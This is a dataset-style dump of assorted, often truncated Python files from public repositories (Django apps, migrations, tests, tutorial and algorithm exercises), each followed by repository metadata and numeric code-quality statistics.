Python
Cap_9/ex9.23/ex9.23.py
gguilherme42/Livro-de-Python
465a509d50476fd1a87239c71ed741639d58418b
[ "MIT" ]
4
2020-04-07T00:38:46.000Z
2022-03-10T03:34:42.000Z
Cap_9/ex9.23/ex9.23.py
gguilherme42/Livro-de-Python
465a509d50476fd1a87239c71ed741639d58418b
[ "MIT" ]
null
null
null
Cap_9/ex9.23/ex9.23.py
gguilherme42/Livro-de-Python
465a509d50476fd1a87239c71ed741639d58418b
[ "MIT" ]
1
2021-04-22T02:45:38.000Z
2021-04-22T02:45:38.000Z
import agenda23 agenda23.le('Agenda.txt') while True: opcao = agenda23.menu() if opcao == 0: break elif opcao == 1: agenda23.novo() elif opcao == 2: agenda23.altera() elif opcao == 3: agenda23.apaga() elif opcao == 4: agenda23.lista() elif opcao == 5:...
20.708333
50
0.539235
56
497
4.785714
0.571429
0.235075
0
0
0
0
0
0
0
0
0
0.084592
0.334004
497
23
51
21.608696
0.725076
0
0
0
0
0
0.086519
0
0
0
0
0
0
1
0
false
0
0.045455
0
0.045455
0.045455
0
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
f8c595e3b1f5711087075fef4510b16d73d51d2b
9,650
py
Python
pyramboia/tasks/views.py
bicofino/Pyramboia
1c291b8fdc71f057a99e7ffbfaa8ba4e713346fd
[ "MIT" ]
1
2016-03-09T13:40:06.000Z
2016-03-09T13:40:06.000Z
pyramboia/tasks/views.py
bicofino/Pyramboia
1c291b8fdc71f057a99e7ffbfaa8ba4e713346fd
[ "MIT" ]
null
null
null
pyramboia/tasks/views.py
bicofino/Pyramboia
1c291b8fdc71f057a99e7ffbfaa8ba4e713346fd
[ "MIT" ]
1
2018-03-24T18:03:09.000Z
2018-03-24T18:03:09.000Z
import time import requests import xml.dom.minidom from lxml import etree from django.shortcuts import render from django.http import HttpResponse from django.contrib import messages from django.core.urlresolvers import reverse_lazy from django.views.generic import ListView, DetailView from django.views.generic.edit im...
31.129032
108
0.684249
1,069
9,650
6.049579
0.176801
0.042524
0.04407
0.060306
0.547085
0.493119
0.454306
0.358435
0.31452
0.262873
0
0.000918
0.20943
9,650
309
109
31.229773
0.846769
0.014922
0
0.445455
0
0
0.084501
0
0
0
0
0
0
1
0.095455
false
0
0.081818
0.004545
0.65
0.004545
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
1
f8c6b59947b8e1e01fbc267420d89e101ab3f722
932
py
Python
util_test.py
svennickel/itunes-app-scraper
14b857bd40a237825cb6bd93be388e6bcd083c01
[ "MIT" ]
10
2020-08-12T06:47:04.000Z
2021-12-04T03:06:19.000Z
util_test.py
svennickel/itunes-app-scraper
14b857bd40a237825cb6bd93be388e6bcd083c01
[ "MIT" ]
5
2020-11-19T07:53:19.000Z
2022-03-16T15:06:37.000Z
util_test.py
iaine/itunes-app-scraper
de60c8c0b369e78d4c87a0cb11284b2ef576c090
[ "MIT" ]
11
2020-08-12T06:47:31.000Z
2022-03-19T23:36:18.000Z
from itunes_app_scraper.util import AppStoreException, AppStoreCollections, AppStoreCategories, AppStoreUtils import json import pytest import os def test_category_exists(): category = AppStoreCategories() assert category.BOOKS == 6018 def test_category_does_not_exist(): category = AppStoreCategories() ...
33.285714
109
0.769313
98
932
7.112245
0.438776
0.050215
0.043042
0.086083
0.10043
0
0
0
0
0
0
0.005025
0.145923
932
28
110
33.285714
0.870603
0
0
0.181818
0
0
0.137192
0.022508
0
0
0
0
0.136364
1
0.227273
false
0
0.181818
0
0.409091
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
0
0
0
1
f8cda283a32c2452d1728b137c6f236a6921d3ec
1,099
py
Python
091. Decode Ways.py
joshlyman/Josh-LeetCode
cc9e2cc406d2cbd5a90ee579efbcaeffb842c5ed
[ "MIT" ]
null
null
null
091. Decode Ways.py
joshlyman/Josh-LeetCode
cc9e2cc406d2cbd5a90ee579efbcaeffb842c5ed
[ "MIT" ]
null
null
null
091. Decode Ways.py
joshlyman/Josh-LeetCode
cc9e2cc406d2cbd5a90ee579efbcaeffb842c5ed
[ "MIT" ]
null
null
null
# Problem Reduction: variation of n-th staircase with n = [1, 2] steps. # Approach: We generate a bottom up DP table. # The tricky part is handling the corner cases (e.g. s = "30"). # Most elegant way to deal with those error/corner cases, is to allocate an extra space, dp[0]. # Let dp[ i ] = the number of ways to ...
28.921053
95
0.497725
192
1,099
2.848958
0.40625
0.027422
0.058501
0.095064
0
0
0
0
0
0
0
0.083916
0.349409
1,099
37
96
29.702703
0.681119
0.568699
0
0
1
0
0.002208
0
0
0
0
0
0
1
0.090909
false
0
0
0
0.272727
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
f8cddb9ef6bd722c93b8a3657d1eaf9e8803d45f
4,525
py
Python
Scripts/Cutter.py
rhong3/CPTAC-UCEC
ec83fbee234b5ad3df6524cdd960b5f0f3da9ea9
[ "MIT" ]
4
2019-01-04T21:11:03.000Z
2020-12-11T16:56:15.000Z
Scripts/Cutter.py
rhong3/CPTAC-UCEC
ec83fbee234b5ad3df6524cdd960b5f0f3da9ea9
[ "MIT" ]
null
null
null
Scripts/Cutter.py
rhong3/CPTAC-UCEC
ec83fbee234b5ad3df6524cdd960b5f0f3da9ea9
[ "MIT" ]
null
null
null
""" Tile svs/scn files Created on 11/01/2018 @author: RH """ import time import matplotlib import os import shutil import pandas as pd matplotlib.use('Agg') import Slicer import staintools import re # Get all images in the root directory def image_ids_in(root_dir, mode, ignore=['.DS_Store', 'dict.csv']): ids =...
29.769737
106
0.478232
528
4,525
4.017045
0.299242
0.022631
0.018859
0.015559
0.392739
0.370108
0.328147
0.299859
0.299859
0.299859
0
0.023189
0.380552
4,525
151
107
29.966887
0.7335
0.089503
0
0.516949
0
0
0.074164
0.006587
0
0
0
0
0
1
0.016949
false
0.050847
0.067797
0
0.09322
0.050847
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
1
f8d0c7ea7f201118a072a6fce98f54b42edb4e97
524
py
Python
Lab5/load_graph.py
YuryMalyshev/CAD-with-Python
ecbb82b8efb436e7089b0895dc898cf956351046
[ "MIT" ]
null
null
null
Lab5/load_graph.py
YuryMalyshev/CAD-with-Python
ecbb82b8efb436e7089b0895dc898cf956351046
[ "MIT" ]
null
null
null
Lab5/load_graph.py
YuryMalyshev/CAD-with-Python
ecbb82b8efb436e7089b0895dc898cf956351046
[ "MIT" ]
null
null
null
import numpy as np def load_graph(path): edges = np.array([]) with open(path, 'r', encoding='utf-8', errors='ignore') as g_file: next(g_file) # skip the header line for line in g_file: try: fields = line.split(",") edges = np.append(edges, [int(field...
32.75
101
0.532443
73
524
3.767123
0.630137
0.101818
0
0
0
0
0
0
0
0
0
0.016854
0.320611
524
15
102
34.933333
0.755618
0.038168
0
0
0
0
0.025896
0
0
0
0
0
0
1
0.076923
false
0.076923
0.076923
0
0.230769
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
1
6ef1130a48a6b7d1320ed14916f6226e73d226a4
855
py
Python
questioning/trade/migrations/0003_auto_20190901_1710.py
PythonerKK/questioning
c30fb2d31a221398df392f4b8faab539d6921ac0
[ "MIT" ]
6
2019-12-31T05:23:27.000Z
2021-03-12T19:23:34.000Z
questioning/trade/migrations/0003_auto_20190901_1710.py
PythonerKK/questioning
c30fb2d31a221398df392f4b8faab539d6921ac0
[ "MIT" ]
4
2020-05-12T13:39:40.000Z
2021-02-08T20:35:18.000Z
questioning/trade/migrations/0003_auto_20190901_1710.py
PythonerKK/questioning
c30fb2d31a221398df392f4b8faab539d6921ac0
[ "MIT" ]
1
2019-09-02T07:15:16.000Z
2019-09-02T07:15:16.000Z
# Generated by Django 2.1.9 on 2019-09-01 09:10 from django.conf import settings from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): initial = True dependencies = [ ('trade', '0002_accountdetail_orderinfo'), migrations.swappable_d...
29.482759
129
0.661988
97
855
5.680412
0.443299
0.058076
0.076225
0.119782
0.370236
0.370236
0.370236
0.370236
0.370236
0.370236
0
0.028788
0.22807
855
28
130
30.535714
0.806061
0.052632
0
0.380952
1
0
0.082921
0.034653
0
0
0
0
0
1
0
false
0
0.142857
0
0.333333
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
6ef13886b158bd50cda282a2108b24f47033b23c
3,557
py
Python
Ch5/rbf.py
jason-168/MLCode
429c17e004fb41ba16c371416c8f73833ab8fc1d
[ "Xnet", "X11" ]
146
2016-05-24T02:55:53.000Z
2022-03-23T14:54:42.000Z
Ch5/rbf.py
coky/MarslandMLAlgo
4277b24db88c4cb70d6b249921c5d21bc8f86eb4
[ "Xnet", "X11" ]
1
2017-08-17T23:07:39.000Z
2017-08-18T08:27:19.000Z
Ch5/rbf.py
coky/MarslandMLAlgo
4277b24db88c4cb70d6b249921c5d21bc8f86eb4
[ "Xnet", "X11" ]
94
2016-05-06T12:34:33.000Z
2022-03-30T03:31:04.000Z
# Code from Chapter 5 of Machine Learning: An Algorithmic Perspective (2nd Edition) # by Stephen Marsland (http://stephenmonika.net) # You are free to use, change, or redistribute the code in any way you wish for # non-commercial purposes, but please maintain the name of the original author. # This code comes with no...
34.872549
127
0.576047
482
3,557
4.242739
0.313278
0.031296
0.021516
0.021516
0.148166
0.133496
0.102689
0.080196
0.080196
0.080196
0
0.029099
0.285072
3,557
101
128
35.217822
0.775069
0.154062
0
0.137931
0
0
0
0
0
0
0
0
0
0
null
null
0
0.051724
null
null
0.034483
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
3e017ed1492cc6fe4bfc5ac25bc91b6acc5c2bd6
1,266
py
Python
numbas_lti/migrations/0063_auto_20210211_1307.py
jhoobergs/numbas-lti-provider
9d673e0ec8dcb085bd783e949c3ee179e507be5c
[ "Apache-2.0" ]
6
2016-12-12T14:41:33.000Z
2021-04-18T01:04:23.000Z
numbas_lti/migrations/0063_auto_20210211_1307.py
jhoobergs/numbas-lti-provider
9d673e0ec8dcb085bd783e949c3ee179e507be5c
[ "Apache-2.0" ]
206
2016-08-24T13:53:07.000Z
2022-03-31T09:14:43.000Z
numbas_lti/migrations/0063_auto_20210211_1307.py
jhoobergs/numbas-lti-provider
9d673e0ec8dcb085bd783e949c3ee179e507be5c
[ "Apache-2.0" ]
13
2016-10-23T04:53:30.000Z
2022-02-17T09:25:00.000Z
# Generated by Django 2.2.13 on 2021-02-11 13:07 from django.db import migrations, models import django.db.models.deletion def set_exam_resources(apps, schema_editor): Resource = apps.get_model('numbas_lti', 'Resource') Attempt = apps.get_model('numbas_lti', 'Attempt') for r in Resource.objects.exclude(e...
33.315789
156
0.650869
159
1,266
5.037736
0.383648
0.05618
0.052434
0.082397
0.267166
0.214732
0.214732
0.214732
0.214732
0.214732
0
0.020367
0.224329
1,266
37
157
34.216216
0.795316
0.036335
0
0.068966
1
0
0.115764
0.017241
0
0
0
0
0
1
0.034483
false
0
0.068966
0
0.206897
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
3e063c3a08ca1b49f1f08adcb5b79cf09de3aefe
4,128
py
Python
flask_mm/managers/__init__.py
szkkteam/flask_mm
ea96899a41a0573e51792f1554550c6d77f22a07
[ "MIT" ]
1
2021-03-21T18:46:36.000Z
2021-03-21T18:46:36.000Z
flask_mm/managers/__init__.py
szkkteam/flask_mm
ea96899a41a0573e51792f1554550c6d77f22a07
[ "MIT" ]
null
null
null
flask_mm/managers/__init__.py
szkkteam/flask_mm
ea96899a41a0573e51792f1554550c6d77f22a07
[ "MIT" ]
null
null
null
#!/usr/bin/env python # -*- coding: utf-8 -*- # Common Python library imports import os # Pip package imports from six.moves.urllib.parse import urljoin from flask import url_for, request, abort from werkzeug import secure_filename, FileStorage, cached_property # Internal package imports from flask_mm.utils import...
35.282051
107
0.66376
501
4,128
5.335329
0.249501
0.074074
0.057239
0.046764
0.145529
0.095024
0.077067
0.077067
0
0
0
0.001581
0.233769
4,128
117
108
35.282051
0.843503
0.059835
0
0.05
0
0
0.054809
0
0
0
0
0.008547
0.0125
1
0.2125
false
0
0.0875
0.0625
0.5375
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
0
0
0
1
3e07225d9f986640eeceeb3fecfcd08a0bbf84a5
1,627
py
Python
web/api/user/core.py
cclrobotics/ARTBot
a0bffabebbc09361bf7748741fe3d30c78af8fbd
[ "MIT" ]
5
2020-12-04T19:28:42.000Z
2021-12-07T16:14:28.000Z
web/api/user/core.py
cclrobotics/ARTBot
a0bffabebbc09361bf7748741fe3d30c78af8fbd
[ "MIT" ]
50
2019-10-08T19:47:24.000Z
2021-07-26T05:43:37.000Z
web/api/user/core.py
cclrobotics/ARTBot
a0bffabebbc09361bf7748741fe3d30c78af8fbd
[ "MIT" ]
4
2019-10-23T04:14:49.000Z
2021-08-01T01:22:37.000Z
from functools import partial from marshmallow import ValidationError from web.extensions import db from .validators import validate_user_token from .serializers import SuperUserSchema from .exceptions import InvalidUsage from .user import SuperUser def validate_and_extract_user_data(json_data, skipped_fields: tuple=...
31.288462
95
0.761524
232
1,627
5.060345
0.314655
0.068143
0.03833
0.07155
0.279387
0.247871
0.247871
0.136286
0.076661
0.076661
0
0
0.161647
1,627
52
96
31.288462
0.860704
0.082975
0
0.277778
0
0
0
0
0
0
0
0
0
1
0.138889
false
0.111111
0.194444
0
0.472222
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
1
3e07f9fff3837dd41ad8b264e8c09d1d22e6939d
12,853
py
Python
digsby/src/util/auxencodings.py
ifwe/digsby
f5fe00244744aa131e07f09348d10563f3d8fa99
[ "Python-2.0" ]
35
2015-08-15T14:32:38.000Z
2021-12-09T16:21:26.000Z
digsby/src/util/auxencodings.py
niterain/digsby
16a62c7df1018a49eaa8151c0f8b881c7e252949
[ "Python-2.0" ]
4
2015-09-12T10:42:57.000Z
2017-02-27T04:05:51.000Z
digsby/src/util/auxencodings.py
niterain/digsby
16a62c7df1018a49eaa8151c0f8b881c7e252949
[ "Python-2.0" ]
15
2015-07-10T23:58:07.000Z
2022-01-23T22:16:33.000Z
''' Registers auxillary encodings in the codecs module. >>> 'x\x9cK\xc9L/N\xaa\x04\x00\x08\x9d\x02\x83'.decode('zip') 'digsby' ''' from peak.util.imports import lazyModule sys = lazyModule('sys') warnings = lazyModule('warnings') locale = lazyModule('locale') collections = lazyM...
29.821346
119
0.561503
1,427
12,853
4.908199
0.207428
0.037693
0.036408
0.026271
0.191748
0.149914
0.100228
0.08795
0.076528
0.076528
0
0.017917
0.322571
12,853
430
120
29.890698
0.786494
0.036723
0
0.198171
0
0
0.051963
0
0
0
0
0
0.012195
0
null
null
0.009146
0.021341
null
null
0.006098
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
3e08ccba7d47176de06f3bb412445c1550a56baf
463
py
Python
jaxfg/core/__init__.py
AvanDavad/jaxfg
6d1559126ba872b452eca6a13c2688349f1c5f7e
[ "MIT" ]
120
2020-11-28T19:43:31.000Z
2022-03-29T02:35:46.000Z
jaxfg/core/__init__.py
AvanDavad/jaxfg
6d1559126ba872b452eca6a13c2688349f1c5f7e
[ "MIT" ]
12
2021-05-24T09:02:12.000Z
2022-03-30T19:51:40.000Z
jaxfg/core/__init__.py
AvanDavad/jaxfg
6d1559126ba872b452eca6a13c2688349f1c5f7e
[ "MIT" ]
9
2021-05-06T15:31:23.000Z
2022-03-23T12:06:44.000Z
from ._factor_base import FactorBase from ._factor_stack import FactorStack from ._stacked_factor_graph import StackedFactorGraph from ._storage_metadata import StorageMetadata from ._variable_assignments import VariableAssignments from ._variables import RealVectorVariable, VariableBase __all__ = [ "FactorStack",...
27.235294
56
0.792657
39
463
9
0.512821
0.05698
0
0
0
0
0
0
0
0
0
0
0.140389
463
16
57
28.9375
0.88191
0
0
0
0
0
0.222462
0
0
0
0
0
0
1
0
false
0
0.4
0
0.4
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
1
3e22427e89b56fa4293c96f943f7ce0b77c3a1a7
2,759
py
Python
source/configuration.py
yux1991/PyRHEED
b39ad03651c92e3649069919ae48b1e5158cd3dd
[ "MIT" ]
14
2019-01-08T14:32:31.000Z
2021-11-17T21:07:10.000Z
source/configuration.py
yux1991/PyRHEED
b39ad03651c92e3649069919ae48b1e5158cd3dd
[ "MIT" ]
2
2019-05-14T08:56:36.000Z
2020-12-22T16:44:30.000Z
source/configuration.py
yux1991/PyRHEED
b39ad03651c92e3649069919ae48b1e5158cd3dd
[ "MIT" ]
4
2019-03-12T20:03:54.000Z
2022-03-08T14:24:46.000Z
import configparser class Configuration(): DefaultDic = {'windowDefault':{'HS' : 0,\ 'VS' : 0,\ 'energy' : 20,\ 'azimuth' : 0,\ 'scaleBarLength' : 5,\ ...
51.092593
66
0.303733
126
2,759
6.619048
0.595238
0.007194
0.023981
0.057554
0.165468
0.105516
0
0
0
0
0
0.070081
0.596593
2,759
53
67
52.056604
0.679245
0
0
0.372549
0
0
0.215658
0
0
0
0
0
0
1
0.019608
false
0
0.019608
0
0.078431
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
3e2c2255a47604390ebe0475399a05f36907ad33
4,478
py
Python
Python/biopsy/data/bergman_fly_motifs.py
JohnReid/biopsy
1eeb714ba5b53f2ecf776d865d32e2078cbc0338
[ "MIT" ]
null
null
null
Python/biopsy/data/bergman_fly_motifs.py
JohnReid/biopsy
1eeb714ba5b53f2ecf776d865d32e2078cbc0338
[ "MIT" ]
null
null
null
Python/biopsy/data/bergman_fly_motifs.py
JohnReid/biopsy
1eeb714ba5b53f2ecf776d865d32e2078cbc0338
[ "MIT" ]
null
null
null
# # Copyright John Reid 2010 # """ Code to deal with the Bergman curated set of fly motifs. """ import os, biopsy.data as D, numpy as N import xml.etree.ElementTree as ET def xms_filename(): "@return: The filename of the XMS file where the motifs are stored." return os.path.join(D.data_dir(), "Bergman-Fly-M...
33.41791
105
0.585306
636
4,478
4.012579
0.287736
0.027429
0.021944
0.02547
0.149687
0.118339
0.118339
0.07837
0.07837
0.048589
0
0.040963
0.285842
4,478
133
106
33.669173
0.757036
0.00536
0
0.045455
0
0
0.189236
0.012153
0
0
0
0
0.022727
0
null
null
0
0.034091
null
null
0.170455
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
3e37452fb8273aa4b7fb354676b63c94081558fd
7,264
py
Python
classification/ClassificationModelLargeViz.py
geigerf/STAG_slim
391e7a8031a7e128509f276113b19fd7f13897ec
[ "Apache-2.0" ]
null
null
null
classification/ClassificationModelLargeViz.py
geigerf/STAG_slim
391e7a8031a7e128509f276113b19fd7f13897ec
[ "Apache-2.0" ]
null
null
null
classification/ClassificationModelLargeViz.py
geigerf/STAG_slim
391e7a8031a7e128509f276113b19fd7f13897ec
[ "Apache-2.0" ]
null
null
null
import argparse import os import shutil import time, math, datetime, re from collections import OrderedDict import torch import torch.nn as nn import torch.nn.parallel import torch.nn.functional as F import torch.backends.cudnn as cudnn import torch.optim import torch.utils.data import torchvision.transform...
31.859649
135
0.56663
848
7,264
4.768868
0.304245
0.031157
0.020772
0.02003
0.047972
0.04179
0.018793
0.018793
0
0
0
0.02211
0.321311
7,264
228
136
31.859649
0.798174
0.028359
0
0.076433
0
0
0.047589
0.004213
0
0
0
0
0.006369
0
null
null
0
0.140127
null
null
0.012739
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
3e38f387d0ad96aa627dd060a7aa1188e154c4a3
10,017
py
Python
graphingVisHullTwoD.py
cm-1/2D-External-Visual-Hulls
579e7d18d048d403b636d326840e5cb2a4e3a3e8
[ "MIT" ]
1
2022-02-10T07:07:35.000Z
2022-02-10T07:07:35.000Z
graphingVisHullTwoD.py
cm-1/2D-External-Visual-Hulls
579e7d18d048d403b636d326840e5cb2a4e3a3e8
[ "MIT" ]
null
null
null
graphingVisHullTwoD.py
cm-1/2D-External-Visual-Hulls
579e7d18d048d403b636d326840e5cb2a4e3a3e8
[ "MIT" ]
null
null
null
import matplotlib.pyplot as plt import numpy as np from visHullTwoD import Scene, SegmentType #%% def doubleFaceTest(f): doubleFace = False origHE = f.halfEdge he = f.halfEdge.next while he != origHE: if f.index != he.leftFace.index: doubleFace = True break he =...
38.526923
311
0.605471
1,388
10,017
4.366715
0.223343
0.009899
0.00594
0.00396
0.143046
0.127702
0.091569
0.07837
0.07705
0.066161
0
0.211822
0.201158
10,017
260
312
38.526923
0.545614
0.074174
0
0.102857
0
0.011429
0.103465
0.00297
0
0
0
0
0
1
0.017143
false
0
0.017143
0
0.034286
0.062857
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
3e50929d0bf53c378eb006069dd354ec7a7241ac
1,096
py
Python
hospital/migrations/0011_auto_20210502_1057.py
Shreyashm16/Hospital-Appointment-and-Information-System
929b7eb22cc6a0399e6fff3c7012d1c65d7c47cb
[ "MIT" ]
7
2021-07-15T08:59:58.000Z
2021-12-29T20:21:36.000Z
hospital/migrations/0011_auto_20210502_1057.py
siddharth25pandey/Hospital-Information-Appointment-System
1df5edd1f0dc2f0f385e7195db221027b4f64efb
[ "MIT" ]
null
null
null
hospital/migrations/0011_auto_20210502_1057.py
siddharth25pandey/Hospital-Information-Appointment-System
1df5edd1f0dc2f0f385e7195db221027b4f64efb
[ "MIT" ]
4
2021-05-11T08:36:02.000Z
2021-08-08T11:45:11.000Z
# Generated by Django 3.1.5 on 2021-05-02 05:27 from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): dependencies = [ ('hospital', '0010_appointment_finished'), ] operations = [ migrations.RemoveField( model_name='a...
34.25
148
0.583942
97
1,096
6.515464
0.587629
0.094937
0.044304
0.06962
0
0
0
0
0
0
0
0.024051
0.279197
1,096
31
149
35.354839
0.775949
0.041058
0
0.08
1
0
0.167779
0.023832
0
0
0
0
0
1
0
false
0
0.08
0
0.2
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
3e6ad0d35aefd868861d6a14144cf80665b8e7ea
274
py
Python
setup.py
dalejung/earthdragon
6fc9308288361bbe54d1d0107b4a77e3f27cd9be
[ "MIT" ]
1
2019-12-02T15:10:49.000Z
2019-12-02T15:10:49.000Z
setup.py
dalejung/earthdragon
6fc9308288361bbe54d1d0107b4a77e3f27cd9be
[ "MIT" ]
5
2015-08-13T16:00:04.000Z
2016-03-14T18:43:11.000Z
setup.py
dalejung/earthdragon
6fc9308288361bbe54d1d0107b4a77e3f27cd9be
[ "MIT" ]
null
null
null
from distutils.core import setup DISTNAME='earthdragon' FULLVERSION='0.1' setup( name=DISTNAME, version=FULLVERSION, packages=['earthdragon'], install_requires = [ 'asttools', 'toolz', 'typeguard', 'more_itertools', ] )
16.117647
32
0.605839
24
274
6.833333
0.833333
0
0
0
0
0
0
0
0
0
0
0.00995
0.266423
274
16
33
17.125
0.80597
0
0
0
0
0
0.222628
0
0
0
0
0
0
1
0
false
0
0.071429
0
0.071429
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
3e730fa82d3520ad13dc948a854e1cd1df0331d4
275
py
Python
setup.py
grro/install-raspberry
f6db2d451c1277127a77fdc6b00ea55708f0bd17
[ "Apache-2.0" ]
null
null
null
setup.py
grro/install-raspberry
f6db2d451c1277127a77fdc6b00ea55708f0bd17
[ "Apache-2.0" ]
null
null
null
setup.py
grro/install-raspberry
f6db2d451c1277127a77fdc6b00ea55708f0bd17
[ "Apache-2.0" ]
null
null
null
from setuptools import setup setup( name='install-raspberry', version='', packages=[''], url='https://github.com/grro/httpstreamproxy', license='Apache Software License', author='grro', author_email='gregor.roth@web.de', description='test' )
21.153846
50
0.658182
30
275
6
0.866667
0
0
0
0
0
0
0
0
0
0
0
0.178182
275
12
51
22.916667
0.79646
0
0
0
0
0
0.381818
0
0
0
0
0
0
1
0
true
0
0.090909
0
0.090909
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
0
0
1
3e73f6fed18b11f2933d0b20530ca1d6b4de649e
2,701
py
Python
py_privatekonomi/tests/swedbank/test_swedbank_db.py
nilsFK/py-privatekonomi
9172dfa85e439e18558a60fdb3b69e956e70e783
[ "MIT" ]
2
2015-01-04T21:27:45.000Z
2015-01-05T13:31:52.000Z
py_privatekonomi/tests/swedbank/test_swedbank_db.py
nilsFK/py-privatekonomi
9172dfa85e439e18558a60fdb3b69e956e70e783
[ "MIT" ]
28
2015-01-04T22:13:24.000Z
2019-11-29T13:41:01.000Z
py_privatekonomi/tests/swedbank/test_swedbank_db.py
nilsFK/py-privatekonomi
9172dfa85e439e18558a60fdb3b69e956e70e783
[ "MIT" ]
null
null
null
#!/usr/bin/env python # -*- coding: utf-8 -*- from __future__ import absolute_import from __future__ import print_function from __future__ import unicode_literals import unittest import inspect from py_privatekonomi.utilities import common from py_privatekonomi.tests.test_base import TestBase from py_privatekonomi.tes...
37
84
0.652721
312
2,701
5.375
0.217949
0.076327
0.067979
0.071556
0.751342
0.751342
0.601073
0.601073
0.493739
0.493739
0
0.018191
0.246946
2,701
73
85
37
0.806293
0.01555
0
0.5
0
0
0.129421
0.088789
0
0
0
0
0.125
1
0.078125
false
0.015625
0.171875
0
0.265625
0.078125
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
3e78c123f36641a6b522ac2d459248b01e28de60
1,204
py
Python
hello/hello_pil.py
East196/hello-py
a77c7a0c8e5e2b5e8cefaf0fda335ab0c3b1da21
[ "Apache-2.0" ]
1
2017-10-23T14:58:47.000Z
2017-10-23T14:58:47.000Z
hello/hello_pil.py
East196/hello-py
a77c7a0c8e5e2b5e8cefaf0fda335ab0c3b1da21
[ "Apache-2.0" ]
null
null
null
hello/hello_pil.py
East196/hello-py
a77c7a0c8e5e2b5e8cefaf0fda335ab0c3b1da21
[ "Apache-2.0" ]
1
2018-04-06T07:49:18.000Z
2018-04-06T07:49:18.000Z
#!/usr/bin/env python # -*- coding: utf-8 -*- from PIL import Image, ImageDraw, ImageFont, ImageFilter import random im = Image.open('F:/workspace/python/data/backpink.jpg') im2 = im.filter(ImageFilter.BLUR) im2.save('F:/workspace/python/data/backpink_blur.png', 'png') im2.save('F:/workspace/python/data/backpink_blu...
24.571429
84
0.680233
183
1,204
4.431694
0.442623
0.112207
0.059186
0.073983
0.263872
0.229346
0.229346
0.229346
0
0
0
0.067372
0.137043
1,204
48
85
25.083333
0.713186
0.102159
0
0
0
0
0.158092
0.137512
0
0
0
0
0
1
0.12
false
0
0.08
0.12
0.32
0.04
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
1
0
0
0
1
3e7a2d3d3d5314bdb0dff02d7d69496583791bdc
382
py
Python
terra_layer/migrations/0028_layergroup_exclusive.py
Terralego/terra-layer
6564a63d389503d3ae1f63ce46e674b228d6764b
[ "MIT" ]
1
2019-08-08T15:17:32.000Z
2019-08-08T15:17:32.000Z
terra_layer/migrations/0028_layergroup_exclusive.py
Terralego/terra-layer
6564a63d389503d3ae1f63ce46e674b228d6764b
[ "MIT" ]
65
2019-10-21T10:05:00.000Z
2022-03-08T14:08:27.000Z
terra_layer/migrations/0028_layergroup_exclusive.py
Terralego/terra-layer
6564a63d389503d3ae1f63ce46e674b228d6764b
[ "MIT" ]
null
null
null
# Generated by Django 2.1.9 on 2019-07-16 10:15 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [("terra_layer", "0027_auto_20190715_1631")] operations = [ migrations.AddField( model_name="layergroup", name="exclusive", ...
22.470588
63
0.636126
42
382
5.666667
0.857143
0
0
0
0
0
0
0
0
